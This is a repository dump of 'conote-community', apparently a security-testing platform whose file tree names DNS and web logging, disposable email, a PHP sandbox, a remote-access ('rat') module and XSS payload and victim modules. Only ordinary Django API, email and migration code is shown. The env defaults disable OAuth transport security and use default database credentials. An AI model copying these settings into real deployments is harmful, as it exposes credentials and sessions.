├── .env.default ├── .gitattributes ├── .gitignore ├── README.md ├── app ├── api │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── authentication.py │ ├── migrations │ │ └── __init__.py │ ├── models.py │ ├── renderers.py │ ├── serializers.py │ ├── tests.py │ ├── urls.py │ └── views.py ├── disposable_email │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── forms.py │ ├── management │ │ └── commands │ │ │ └── mailserver.py │ ├── migrations │ │ ├── 0001_initial.py │ │ ├── 0002_auto_20180815_1738.py │ │ ├── 0003_domain.py │ │ ├── 0004_auto_20190326_1753.py │ │ ├── 0005_alter_envelope_path.py │ │ └── __init__.py │ ├── models.py │ ├── templatetags │ │ ├── __init__.py │ │ └── email_helper.py │ ├── tests.py │ ├── urls.py │ └── views.py ├── log │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── forms.py │ ├── management │ │ └── commands │ │ │ └── dnsserver.py │ ├── migrations │ │ ├── 0001_initial.py │ │ ├── 0002_auto_20170828_0136.py │ │ ├── 0003_auto_20170828_0139.py │ │ ├── 0004_note.py │ │ ├── 0005_note_is_markdown.py │ │ ├── 0006_auto_20170830_2320.py │ │ ├── 0007_weblog_hostname.py │ │ ├── 0008_auto_20170831_1830.py │ │ ├── 0009_note_title.py │ │ ├── 0010_note_language.py │ │ ├── 0011_weblog_method.py │ │ ├── 0012_shortdomain.py │ │ ├── 0013_auto_20170904_1406.py │ │ ├── 0014_auto_20170906_0437.py │ │ ├── 0015_auto_20170906_0508.py │ │ ├── 0016_auto_20170906_0518.py │ │ ├── 0017_dnsrecord.py │ │ ├── 0018_note_headers.py │ │ ├── 0019_dnslog_ip_addr.py │ │ ├── 0020_auto_20180403_2031.py │ │ ├── 0021_note_category.py │ │ ├── 0022_remove_note_is_markdown.py │ │ ├── 0023_auto_20210529_2326.py │ │ └── __init__.py │ ├── models.py │ ├── static │ │ ├── article │ │ │ ├── _partial │ │ │ │ ├── archive-post-list.scss │ │ │ │ ├── base.scss │ │ │ │ ├── code.scss │ │ │ │ ├── header.scss │ │ │ │ ├── home-post-list.scss │ │ │ │ ├── mq.scss │ │ │ │ ├── normalize.scss │ │ │ │ └── post.scss │ │ │ ├── gandalfr.css │ │ │ └── gandalfr.scss │ │ ├── code │ │ │ ├── app.css │ │ │ ├── app.scss │ │ │ ├── github.css │ │ │ └── variables.scss │ │ ├── css │ │ │ ├── app.css │ │ │ └── bootstrap.css │ │ ├── font │ │ │ ├── sourcesanspro.woff │ │ │ └── sourcesanspro.woff2 │ │ ├── i18n │ │ │ ├── site-en.json │ │ │ └── site-es.json │ │ ├── img │ │ │ ├── bg1.jpg │ │ │ ├── bg10.jpg │ │ │ ├── bg2.jpg │ │ │ ├── bg3.jpg │ │ │ ├── bg4.jpg │ │ │ ├── bg5.jpg │ │ │ ├── bg6.jpg │ │ │ ├── bg7.jpg │ │ │ ├── bg8.jpg │ │ │ ├── bg9.jpg │ │ │ ├── dummy.png │ │ │ ├── lock-bg.jpg │ │ │ ├── logo-single.png │ │ │ ├── logo.png │ │ │ ├── mb-sample.jpg │ │ │ ├── mockup.png │ │ │ ├── profile-bg.jpg │ │ │ └── user │ │ │ │ ├── 01.jpg │ │ │ │ ├── 02.jpg │ │ │ │ ├── 03.jpg │ │ │ │ ├── 04.jpg │ │ │ │ ├── 05.jpg │ │ │ │ ├── 06.jpg │ │ │ │ ├── 07.jpg │ │ │ │ ├── 08.jpg │ │ │ │ ├── 09.jpg │ │ │ │ ├── 10.jpg │ │ │ │ ├── 11.jpg │ │ │ │ ├── 12.jpg │ │ │ │ └── 13.jpg │ │ ├── js │ │ │ └── app.js │ │ ├── note │ │ │ ├── hypermd-image-error.8081089d.png │ │ │ ├── hypermd-image-error.a44fd4fe.png │ │ │ ├── hypermd-image-link.313e88ca.png │ │ │ ├── hypermd-image-link.aa06f182.png │ │ │ ├── hypermd-image-spin.36fe9e32.gif │ │ │ ├── hypermd-image-spin.d686d3ac.gif │ │ │ ├── note.min.css │ │ │ └── note.min.js │ │ └── vendor │ │ │ ├── animate.css │ │ │ └── animate.min.css │ │ │ ├── animo.js │ │ │ └── animo.js │ │ │ ├── bootstrap-filestyle │ │ │ └── src │ │ │ │ └── bootstrap-filestyle.js │ │ │ ├── bootstrap │ │ │ └── dist │ │ │ │ ├── css │ │ │ │ └── bootstrap.css │ │ │ │ └── js │ │ │ │ └── bootstrap.js │ │ │ ├── fontawesome │ │ │ ├── css │ │ │ │ └── font-awesome.min.css │ │ │ └── fonts │ │ │ │ ├── FontAwesome.otf │ │ │ │ ├── fontawesome-webfont.eot │ │ │ │ ├── fontawesome-webfont.svg │ │ │ │ ├── fontawesome-webfont.ttf │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ └── fontawesome-webfont.woff2 │ │ │ ├── jQuery-Storage-API │ │ │ └── jquery.storageapi.js │ │ │ ├── jquery.easing │ │ │ └── js │ │ │ │ └── jquery.easing.js │ │ │ ├── jquery │ │ │ └── dist │ │ │ │ └── jquery.js │ │ │ ├── modernizr │ │ │ └── modernizr.custom.js │ │ │ ├── simple-line-icons │ │ │ ├── css │ │ │ │ └── simple-line-icons.css │ │ │ └── fonts │ │ │ │ ├── Simple-Line-Icons.eot │ │ │ │ ├── Simple-Line-Icons.svg │ │ │ │ ├── Simple-Line-Icons.ttf │ │ │ │ ├── Simple-Line-Icons.woff │ │ │ │ └── Simple-Line-Icons.woff2 │ │ │ ├── sweetalert │ │ │ └── dist │ │ │ │ ├── sweetalert.css │ │ │ │ └── sweetalert.min.js │ │ │ └── whirl │ │ │ └── dist │ │ │ └── whirl.css │ ├── templates │ │ └── widgets │ │ │ ├── checkbox.html │ │ │ └── clearable_file_input.html │ ├── templatetags │ │ ├── __init__.py │ │ └── template_helper.py │ ├── tests.py │ ├── urls.py │ └── views.py ├── rat │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── consumers.py │ ├── engine │ │ ├── __init__.py │ │ ├── connection.py │ │ ├── globals.py │ │ ├── listener.py │ │ └── manager.py │ ├── management │ │ └── commands │ │ │ └── rat.py │ ├── migrations │ │ └── __init__.py │ ├── models.py │ ├── templatetags │ │ ├── __init__.py │ │ └── rat_helper.py │ ├── tests.py │ ├── urls.py │ └── views.py ├── sandbox │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── fastcgi │ │ └── client.py │ ├── management │ │ └── commands │ │ │ └── php.py │ ├── migrations │ │ ├── 0001_initial.py │ │ ├── 0002_codebox_type.py │ │ └── __init__.py │ ├── models.py │ ├── php │ │ └── conote-php.ini │ ├── tests.py │ ├── urls.py │ └── views.py ├── ucenter │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── forms.py │ ├── management │ │ └── commands │ │ │ ├── ctrlserver.py │ │ │ └── generate_caddyfile.py │ ├── migrations │ │ ├── 0001_initial.py │ │ ├── 0002_user_token.py │ │ ├── 0003_auto_20170827_2259.py │ │ ├── 0004_user_auth_id.py │ │ ├── 0005_auto_20170830_0045.py │ │ ├── 0006_user_option.py │ │ ├── 0007_auto_20170907_0446.py │ │ ├── 0008_user_is_vip.py │ │ ├── 0009_auto_20180414_0202.py │ │ ├── 0010_auto_20190414_0152.py │ │ ├── 0011_auto_20210529_2342.py │ │ └── __init__.py │ ├── models.py │ ├── tests.py │ ├── urls.py │ └── views.py └── xss │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── forms.py │ ├── migrations │ ├── 0001_initial.py │ ├── 0002_auto_20180409_0216.py │ ├── 0003_victim_is_view.py │ ├── 0004_alter_victim_data.py │ └── __init__.py │ ├── models.py │ ├── payloads │ ├── common.js │ └── get_inner_ip_webrtc.js │ ├── static │ ├── js │ │ └── xss │ │ │ ├── bundle.min.js │ │ │ └── xss.min.js │ └── vendor │ │ └── chosen │ │ ├── chosen-sprite.png │ │ ├── chosen-sprite@2x.png │ │ ├── chosen.jquery.min.js │ │ └── chosen.min.css │ ├── templates │ └── widgets │ │ └── ace_editor_textarea.html │ ├── templatetags │ └── victim_helper.py │ ├── tests.py │ ├── urls.py │ └── views.py ├── conf ├── caddy │ └── Caddyfile ├── settings.py └── settings_deploy.py ├── conote.sh ├── conote ├── __init__.py ├── asgi.py ├── const.py ├── emailparser │ ├── __init__.py │ └── parser.py ├── field.py ├── ipdata │ ├── 17monipdb.datx │ └── parser.py ├── middleware.py ├── mixin.py ├── routing.py ├── tasks.py ├── urls.py ├── utils.py └── wsgi.py ├── img ├── 2.png └── 3.png ├── javascript ├── .babelrc ├── .gitignore ├── note │ └── index.js ├── package-lock.json ├── package.json └── xss │ ├── bundle.js │ ├── co.js │ └── xss.js ├── manage.py ├── requirements.txt ├── rsync-exclude-list.txt └── templates ├── 500.html ├── base.html ├── dnslog └── list.html ├── dnsrecord └── form.html ├── email ├── detail.html └── list.html ├── form.html ├── framework.html ├── index └── list.html ├── main.html ├── markdown ├── article.html └── code.html ├── note ├── form.html └── list.html ├── rat ├── detail.html └── list.html ├── registration ├── option.html └── register.html ├── sandbox ├── form.html └── list.html ├── shortdomain ├── form.html └── list.html ├── weblog ├── detail.html └── list.html └── xss ├── js ├── co.js └── template.jst ├── project └── list.html └── victim ├── detail.html └── list.html /.env.default: -------------------------------------------------------------------------------- 1 | DJANGO_SETTINGS_MODULE=conf.settings_deploy 2 | OAUTHLIB_INSECURE_TRANSPORT=1 3 | MEDIA_ROOT=/data/conote/media 4 | STATIC_ROOT=/data/conote/static 5 | SECRET_KEY= 6 | CLIENT_ID= 7 | CLIENT_SECRET= 8 | CALLBACK_URL=http://note.leavesongs.com/auth/callback/ 9 | DATABASE_URL=postgres://postgres:postgres@localhost:5432/conote 10 | REDIS_URL=redis://127.0.0.1:6379/0 11 | SANDBOX_ROOT=/data/conote/sandbox -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | app/log/static/* linguist-vendored -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by .ignore support plugin (hsz.mobi) 2 | ### Python template 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | env/ 14 | build/ 15 | develop-eggs/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *,cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # IPython Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # dotenv 80 | .env 81 | 82 | # virtualenv 83 | venv/ 84 | ENV/ 85 | 86 | # Spyder project settings 87 | .spyderproject 88 | 89 | # Rope project settings 90 | .ropeproject 91 | 92 | .idea 93 | db.sqlite3 94 | 95 | conf/settings_dev.py 96 | 97 | media 98 | tests/*.eml 99 | tests/*.txt -------------------------------------------------------------------------------- /app/api/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/api/__init__.py -------------------------------------------------------------------------------- /app/api/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /app/api/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class ApiConfig(AppConfig): 5 | name = 'api' 6 | -------------------------------------------------------------------------------- /app/api/authentication.py: -------------------------------------------------------------------------------- 1 | from rest_framework.authentication import BaseAuthentication, get_authorization_header 2 | from rest_framework import exceptions 3 | from django.utils.translation import gettext_lazy as _ 4 | from django.contrib.auth import get_user_model 5 | 6 | 7 | User = get_user_model() 8 | 9 | 10 | class TokenAuthentication(BaseAuthentication): 11 | """ 12 | Simple token based authentication. 13 | 14 | Clients should authenticate by passing the token key in the "Authorization" 15 | HTTP header, prepended with the string "Token ". For example: 16 | 17 | Authorization: Token 401f7ac837da42b97f613d789819ff93537bee6a 18 | """ 19 | 20 | keyword = 'Token' 21 | 22 | def authenticate(self, request): 23 | auth = get_authorization_header(request).split() 24 | 25 | if not auth or auth[0].lower() != self.keyword.lower().encode(): 26 | return None 27 | 28 | if len(auth) == 1: 29 | msg = _('Invalid token header. No credentials provided.') 30 | raise exceptions.AuthenticationFailed(msg) 31 | elif len(auth) > 2: 32 | msg = _('Invalid token header. Token string should not contain spaces.') 33 | raise exceptions.AuthenticationFailed(msg) 34 | 35 | try: 36 | token = auth[1].decode() 37 | except UnicodeError: 38 | msg = _('Invalid token header. Token string should not contain invalid characters.') 39 | raise exceptions.AuthenticationFailed(msg) 40 | 41 | return self.authenticate_credentials(token) 42 | 43 | def authenticate_credentials(self, key): 44 | try: 45 | user = User.objects.get(apikey=key) 46 | except User.DoesNotExist: 47 | raise exceptions.AuthenticationFailed(_('Invalid token.')) 48 | 49 | if not user.is_active: 50 | raise exceptions.AuthenticationFailed(_('User inactive or deleted.')) 51 | 52 | return (user, user.apikey) 53 | 54 | def authenticate_header(self, request): 55 | return self.keyword 56 | -------------------------------------------------------------------------------- /app/api/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/api/migrations/__init__.py -------------------------------------------------------------------------------- /app/api/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /app/api/renderers.py: -------------------------------------------------------------------------------- 1 | from rest_framework import renderers 2 | 3 | 4 | class JSONRenderer(renderers.JSONRenderer): 5 | charset = 'utf-8' 6 | -------------------------------------------------------------------------------- /app/api/serializers.py: -------------------------------------------------------------------------------- 1 | from rest_framework.serializers import ModelSerializer 2 | from rest_framework.fields import JSONField 3 | 4 | from app.log import models as log_models 5 | 6 | 7 | class WeblogSerializer(ModelSerializer): 8 | headers = JSONField() 9 | 10 | class Meta: 11 | model = log_models.WebLog 12 | fields = [ 13 | 'id', 14 | 'hostname', 15 | 'headers', 16 | 'method', 17 | 'path', 18 | 'ip_addr', 19 | 'body', 20 | 'created_time' 21 | ] 22 | 23 | 24 | class WeblogListSerializer(WeblogSerializer): 25 | class Meta: 26 | model = log_models.WebLog 27 | fields = [ 28 | 'id', 29 | 'hostname', 30 | 'method', 31 | 'path', 32 | 'ip_addr', 33 | 'created_time' 34 | ] 35 | 36 | 37 | class DNSLogSerializer(ModelSerializer): 38 | class Meta: 39 | model = log_models.DNSLog 40 | fields = [ 41 | 'id', 42 | 'hostname', 43 | 'dns_type' 44 | ] 45 | -------------------------------------------------------------------------------- /app/api/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /app/api/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | 3 | from . import views 4 | 5 | app_name = 'api' 6 | urlpatterns = [ 7 | path('weblog/', views.WebLogList.as_view(), name='weblog-list'), 8 | path('weblog//', views.WebLogDetailDestroy.as_view(), name='weblog-detail-delete'), 9 | 10 | path('dnslog/', views.DNSLogList.as_view(), name='dnslog-list'), 11 | path('dnslog//', views.DNSLogDetailDestroy.as_view(), name='dnslog-detail-delete'), 12 | ] 13 | -------------------------------------------------------------------------------- /app/api/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | from rest_framework.views import APIView 3 | from rest_framework import generics 4 | 5 | from . import serializers 6 | 7 | 8 | class WebLogList(generics.ListAPIView): 9 | serializer_class = serializers.WeblogListSerializer 10 | 11 | def get_queryset(self): 12 | query = self.request.user.weblog_set.all() 13 | keyword = self.request.query_params.get('k') 14 | if keyword: 15 | query = query.filter(hostname__startswith=keyword+".") 16 | return query 17 | 18 | 19 | class WebLogDetailDestroy(generics.RetrieveDestroyAPIView): 20 | serializer_class = serializers.WeblogSerializer 21 | 22 | def get_queryset(self): 23 | return self.request.user.weblog_set.all() 24 | 25 | 26 | class DNSLogList(generics.ListAPIView): 27 | serializer_class = serializers.DNSLogSerializer 28 | 29 | def get_queryset(self): 30 | query = self.request.user.dnslog_set.all() 31 | keyword = self.request.query_params.get('k') 32 | if keyword: 33 | query = query.filter(hostname__startswith=keyword+".") 34 | return query 35 | 36 | 37 | class DNSLogDetailDestroy(generics.RetrieveDestroyAPIView): 38 | serializer_class = serializers.DNSLogSerializer 39 | 40 | def get_queryset(self): 41 | return self.request.user.dnslog_set.all() 42 | -------------------------------------------------------------------------------- /app/disposable_email/__init__.py: -------------------------------------------------------------------------------- 1 | default_app_config = 'app.disposable_email.apps.DisposableEmailConfig' 2 | -------------------------------------------------------------------------------- /app/disposable_email/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from django.db.models import FilePathField 3 | from django.forms.widgets import TextInput 4 | 5 | from . import models 6 | 7 | 8 | @admin.register(models.MailBox, site=admin.site) 9 | class MailBoxAdmin(admin.ModelAdmin): 10 | list_display = ('email', 'user', 'created_time') 11 | readonly_fields = ('created_time', 'last_modify_time') 12 | search_fields = ('email', ) 13 | fieldsets = ( 14 | (None, { 15 | 'fields': ('email', 'user') 16 | }), 17 | ('信息', { 18 | 'classes': ('wide',), 19 | 'fields': readonly_fields 20 | }), 21 | ) 22 | 23 | 24 | @admin.register(models.Envelope, site=admin.site) 25 | class EnvelopeAdmin(admin.ModelAdmin): 26 | list_display = ('subject', 'mail_from', 'user', 'created_time', 'send_time') 27 | readonly_fields = ('created_time', 'last_modify_time') 28 | search_fields = ('subject', ) 29 | fieldsets = ( 30 | (None, { 31 | 'fields': ('subject', 'mail_from', 'user', 'send_time', 'path') 32 | }), 33 | ('信息', { 34 | 'classes': ('wide',), 35 | 'fields': readonly_fields 36 | }), 37 | ) 38 | -------------------------------------------------------------------------------- /app/disposable_email/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class DisposableEmailConfig(AppConfig): 5 | name = 'app.disposable_email' 6 | label = 'disposable_email' 7 | verbose_name = '邮箱匿名模块' 8 | -------------------------------------------------------------------------------- /app/disposable_email/forms.py: -------------------------------------------------------------------------------- 1 | import re 2 | import socket 3 | from django import forms 4 | from django.core import exceptions 5 | from django.conf import settings 6 | 7 | from . import models 8 | from conote.utils import query_dns 9 | 10 | 11 | DOMAIN_REGEX = re.compile(r'\A([a-zA-Z0-9-_]+\.)*[a-zA-Z0-9][a-zA-Z0-9-_]*\.[a-zA-Z]{2,11}\Z', re.I | re.S) 12 | 13 | 14 | class DomainForm(forms.Form): 15 | name = forms.RegexField(label='域名', 16 | strip=True, 17 | regex=DOMAIN_REGEX, 18 | max_length=127, 19 | required=True, 20 | widget=forms.TextInput(attrs=dict(placeholder='example.com')) 21 | ) 22 | email = forms.EmailField(label='邮箱', 23 | widget=forms.EmailInput(attrs=dict(placeholder='foo@example.com')) 24 | ) 25 | 26 | def __init__(self, user, **kwargs): 27 | super().__init__(**kwargs) 28 | self.user = user 29 | 30 | def clean_email(self): 31 | if models.MailBox.objects.filter(user=self.user, email=self.cleaned_data['email']).exists(): 32 | raise exceptions.ValidationError('你已经添加过该邮箱') 33 | 34 | return self.cleaned_data['email'] 35 | 36 | def clean_name(self): 37 | if not self.user.is_superuser: 38 | for reserve_domain in settings.O_RESERVE_DOMAINS: 39 | suffix = '.{}'.format(reserve_domain) 40 | if self.cleaned_data['name'] == reserve_domain or self.cleaned_data['name'].endswith(suffix): 41 | raise exceptions.ValidationError('保留域名,不可以使用') 42 | 43 | if models.Domain.objects.exclude(user=self.user).filter(name=self.cleaned_data['name']).exists(): 44 | raise exceptions.ValidationError('已有其他用户使用该域名') 45 | 46 | return self.cleaned_data['name'] 47 | 48 | def clean(self): 49 | cleaned_data = super().clean() 50 | 51 | if 'name' in cleaned_data and 'email' in cleaned_data: 52 | suffix = '@{}'.format(cleaned_data['name']) 53 | if not cleaned_data['email'].endswith(suffix): 54 | self.add_error('email', '邮箱与域名不对应') 55 | return 56 | 57 | try: 58 | record = query_dns(cleaned_data['name'], 'MX') 59 | if record: 60 | for a, b in (line.split() for line in record.split('\n')): 61 | if b.rstrip('.') == settings.O_MAIN_DOMAIN: 62 | return 63 | raise Exception() 64 | except socket.timeout: 65 | raise exceptions.ValidationError('MX记录获取错误,请重试') 66 | except Exception: 67 | self.add_error('name', f'请先将域名的MX记录设置为{settings.O_MAIN_DOMAIN}') 68 | -------------------------------------------------------------------------------- /app/disposable_email/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.0.4 on 2018-06-28 02:49 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | import django.utils.timezone 7 | 8 | 9 | class Migration(migrations.Migration): 10 | 11 | initial = True 12 | 13 | dependencies = [ 14 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 15 | ] 16 | 17 | operations = [ 18 | migrations.CreateModel( 19 | name='Envelope', 20 | fields=[ 21 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 22 | ('subject', models.CharField(blank=True, max_length=512, null=True, verbose_name='标题')), 23 | ('mail_from', models.EmailField(blank=True, max_length=254, null=True, verbose_name='发件人')), 24 | ('path', models.FilePathField(verbose_name='原始文件位置')), 25 | ('send_time', models.DateTimeField(default=django.utils.timezone.now, verbose_name='原始发送时间')), 26 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 27 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 28 | ], 29 | options={ 30 | 'verbose_name': '邮件', 31 | 'verbose_name_plural': '邮件', 32 | 'ordering': ['-created_time'], 33 | }, 34 | ), 35 | migrations.CreateModel( 36 | name='MailBox', 37 | fields=[ 38 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 39 | ('email', models.EmailField(max_length=254, unique=True, verbose_name='邮件地址')), 40 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 41 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 42 | ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='mail_boxes', to=settings.AUTH_USER_MODEL, verbose_name='用户')), 43 | ], 44 | options={ 45 | 'verbose_name': '邮箱', 46 | 'verbose_name_plural': '邮箱', 47 | 'ordering': ['-created_time'], 48 | }, 49 | ), 50 | migrations.AddField( 51 | model_name='envelope', 52 | name='mailbox', 53 | field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='disposable_email.MailBox', verbose_name='邮箱'), 54 | ), 55 | ] 56 | -------------------------------------------------------------------------------- /app/disposable_email/migrations/0002_auto_20180815_1738.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.0.4 on 2018-08-15 09:38 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | 7 | 8 | def nop(*args, **kwargs): 9 | pass 10 | 11 | 12 | def set_user(apps, schema_editor): 13 | Envelope = apps.get_model('disposable_email', 'Envelope') 14 | for envelope in Envelope.objects.all(): 15 | envelope.user = envelope.mailbox.user 16 | envelope.save() 17 | 18 | Envelope.objects.filter(user__isnull=True).all().delete() 19 | 20 | 21 | def delete_empty_mailbox(apps, schema_editor): 22 | MailBox = apps.get_model('disposable_email', 'MailBox') 23 | MailBox.objects.filter(user__isnull=True).all().delete() 24 | 25 | 26 | class Migration(migrations.Migration): 27 | 28 | dependencies = [ 29 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 30 | ('disposable_email', '0001_initial'), 31 | ] 32 | 33 | operations = [ 34 | migrations.AddField( 35 | model_name='envelope', 36 | name='user', 37 | field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='用户'), 38 | ), 39 | migrations.RunPython(set_user, nop), 40 | 41 | migrations.AlterField( 42 | model_name='mailbox', 43 | name='user', 44 | field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='mail_boxes', to=settings.AUTH_USER_MODEL, verbose_name='用户'), 45 | ), 46 | migrations.RunPython(delete_empty_mailbox, nop), 47 | 48 | migrations.RemoveField(model_name='envelope', name='mailbox'), 49 | 50 | migrations.AlterField( 51 | model_name='envelope', 52 | name='user', 53 | field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, 54 | verbose_name='用户'), 55 | ), 56 | ] 57 | -------------------------------------------------------------------------------- /app/disposable_email/migrations/0003_domain.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.0.6 on 2018-09-10 17:06 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 12 | ('disposable_email', '0002_auto_20180815_1738'), 13 | ] 14 | 15 | operations = [ 16 | migrations.CreateModel( 17 | name='Domain', 18 | fields=[ 19 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 20 | ('name', models.CharField(max_length=128, unique=True, verbose_name='域名')), 21 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 22 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 23 | ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='mail_domains', to=settings.AUTH_USER_MODEL, verbose_name='用户')), 24 | ], 25 | options={ 26 | 'verbose_name': '域名', 27 | 'verbose_name_plural': '域名', 28 | 'ordering': ['-created_time'], 29 | }, 30 | ), 31 | ] 32 | -------------------------------------------------------------------------------- /app/disposable_email/migrations/0004_auto_20190326_1753.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.1.1 on 2019-03-26 09:53 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('disposable_email', '0003_domain'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='envelope', 15 | name='path', 16 | field=models.FilePathField(match='.*\\.eml', path='/Users/shiyu/pro/python/conote/media/email', recursive=True, verbose_name='原始文件位置'), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /app/disposable_email/migrations/0005_alter_envelope_path.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.3 on 2021-05-29 15:40 2 | 3 | import app.disposable_email.models 4 | from django.db import migrations, models 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | dependencies = [ 10 | ('disposable_email', '0004_auto_20190326_1753'), 11 | ] 12 | 13 | operations = [ 14 | migrations.AlterField( 15 | model_name='envelope', 16 | name='path', 17 | field=models.FilePathField(match='.*\\.eml', path=app.disposable_email.models.gen_email_path, recursive=True, verbose_name='原始文件位置'), 18 | ), 19 | ] 20 | -------------------------------------------------------------------------------- /app/disposable_email/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/disposable_email/migrations/__init__.py -------------------------------------------------------------------------------- /app/disposable_email/models.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | from pathlib import Path 4 | 5 | from django.db import models 6 | from django.shortcuts import resolve_url 7 | from django.conf import settings 8 | from django.utils.timezone import now 9 | from django.dispatch import receiver 10 | from django.db.models.signals import pre_delete, post_delete 11 | 12 | 13 | logger = logging.getLogger('conote') 14 | 15 | 16 | def gen_email_path(): 17 | return os.path.join(settings.MEDIA_ROOT, 'email') 18 | 19 | 20 | class Domain(models.Model): 21 | name = models.CharField('域名', max_length=128, unique=True) 22 | user = models.ForeignKey( 23 | settings.AUTH_USER_MODEL, 24 | verbose_name='用户', 25 | related_name='mail_domains', 26 | on_delete=models.CASCADE 27 | ) 28 | 29 | created_time = models.DateTimeField('创建时间', auto_now_add=True) 30 | last_modify_time = models.DateTimeField('修改时间', auto_now=True) 31 | 32 | def __str__(self): 33 | return self.name 34 | 35 | class Meta: 36 | ordering = ['-created_time'] 37 | verbose_name = '域名' 38 | verbose_name_plural = verbose_name 39 | 40 | 41 | class MailBox(models.Model): 42 | email = models.EmailField('邮件地址', unique=True) 43 | user = models.ForeignKey( 44 | settings.AUTH_USER_MODEL, 45 | verbose_name='用户', 46 | related_name='mail_boxes', 47 | on_delete=models.CASCADE 48 | ) 49 | 50 | created_time = models.DateTimeField('创建时间', auto_now_add=True) 51 | last_modify_time = models.DateTimeField('修改时间', auto_now=True) 52 | 53 | def __str__(self): 54 | return self.email 55 | 56 | class Meta: 57 | ordering = ['-created_time'] 58 | verbose_name = '邮箱' 59 | verbose_name_plural = verbose_name 60 | 61 | 62 | class Envelope(models.Model): 63 | subject = models.CharField('标题', max_length=512, null=True, blank=True) 64 | mail_from = models.EmailField('发件人', 